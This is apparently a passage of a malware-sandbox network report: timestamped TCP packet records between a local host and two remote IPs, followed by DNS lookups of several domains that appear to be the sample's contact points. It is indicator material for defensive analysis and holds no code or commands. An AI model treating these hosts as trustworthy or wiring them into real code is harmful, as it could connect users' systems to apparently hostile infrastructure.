                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.650945902 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.650958061 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.650959015 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.650974035 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.650978088 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.650986910 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.650996923 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651000977 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651017904 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651024103 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651031017 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651040077 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651043892 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651063919 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651067972 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651077032 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651091099 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651093960 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651112080 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651122093 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651127100 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651139021 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651141882 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651155949 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651166916 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651170015 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651189089 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651202917 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651205063 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651228905 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.651465893 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722644091 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722676992 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722692966 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722749949 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722754002 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722764015 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722778082 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722791910 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722805023 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722816944 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722826958 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722839117 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722841024 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722853899 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722863913 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722871065 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722882986 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722883940 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722898006 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722913980 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722915888 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722925901 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722942114 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722945929 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722954988 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722965002 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722969055 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722985029 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722994089 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.722999096 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723012924 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723023891 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723026037 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723041058 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723046064 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723054886 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723067045 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723081112 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723090887 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723094940 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723109961 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723119020 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723124981 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723138094 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723139048 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.723170042 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727686882 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727715969 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727730036 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727749109 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727763891 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727775097 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727777958 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727793932 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727809906 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727818966 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727824926 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727838039 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727839947 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727863073 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727890015 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727905035 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727940083 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727948904 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727962017 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727973938 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727981091 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.727989912 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728023052 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728049040 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728064060 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728080988 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728086948 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728128910 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728154898 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728168964 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728200912 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728223085 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728239059 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728250980 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728274107 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728362083 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728375912 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728391886 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728396893 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728406906 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728420973 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728426933 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728435040 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728446960 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728460073 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728461027 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728473902 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728485107 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728487968 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728501081 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728513956 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728513956 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728527069 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728534937 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728542089 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728571892 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728634119 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728647947 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728661060 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728672028 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728674889 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728688955 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728701115 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728703022 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728718042 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728730917 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728732109 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728741884 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728750944 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728754997 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728768110 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728780031 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728782892 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728794098 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728806019 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728806973 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728821039 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728836060 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728847980 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728848934 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728862047 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728876114 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728878021 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728888988 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728902102 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728904963 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728918076 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728924990 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728931904 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728943110 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728945971 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728959084 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728971958 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728971958 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.728990078 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729001999 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729002953 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729017019 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729028940 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729043961 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729043961 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729057074 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729068995 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729069948 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729083061 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729088068 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729096889 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729110003 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729124069 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729125977 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729137897 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729152918 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729154110 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729168892 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729171991 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729182005 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729197025 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729199886 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729209900 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729223967 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729232073 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729237080 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729250908 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729250908 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729264975 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729273081 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729279995 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729293108 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729305029 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729310036 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729317904 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729331970 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729332924 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729343891 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729357958 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729361057 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729372025 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729382992 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729384899 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729398012 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729410887 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729422092 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729425907 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729444981 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729454041 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729458094 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729471922 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729473114 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729485989 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729499102 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729500055 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729513884 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729526997 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729527950 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729542017 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729546070 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729554892 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729567051 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729579926 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729588985 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729593039 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729604959 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729618073 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729620934 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729631901 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729640961 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729645967 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729657888 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729660034 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729674101 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729688883 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729690075 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729702950 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729716063 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729716063 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729731083 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:53.729741096 CET4977180192.168.2.5103.23.232.80

                                                                                                                                                                                                                                                              DNS Queries

                                                                                                                                                                                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:15.392107010 CET192.168.2.51.1.1.10x448bStandard query (0)trad-einmyus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.964580059 CET192.168.2.51.1.1.10xa481Standard query (0)galandskiyher5.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.700314999 CET192.168.2.51.1.1.10x9913Standard query (0)brusuax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:26.702393055 CET192.168.2.51.1.1.10x9913Standard query (0)brusuax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:27.702084064 CET192.168.2.51.1.1.10x9913Standard query (0)brusuax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:33.393112898 CET192.168.2.51.1.1.10x75fbStandard query (0)api.2ip.uaA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:37.960062981 CET192.168.2.51.1.1.10x6c17Standard query (0)habrafa.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.952497959 CET192.168.2.51.1.1.10x6c17Standard query (0)habrafa.comA (IP address)IN (0x0001)false
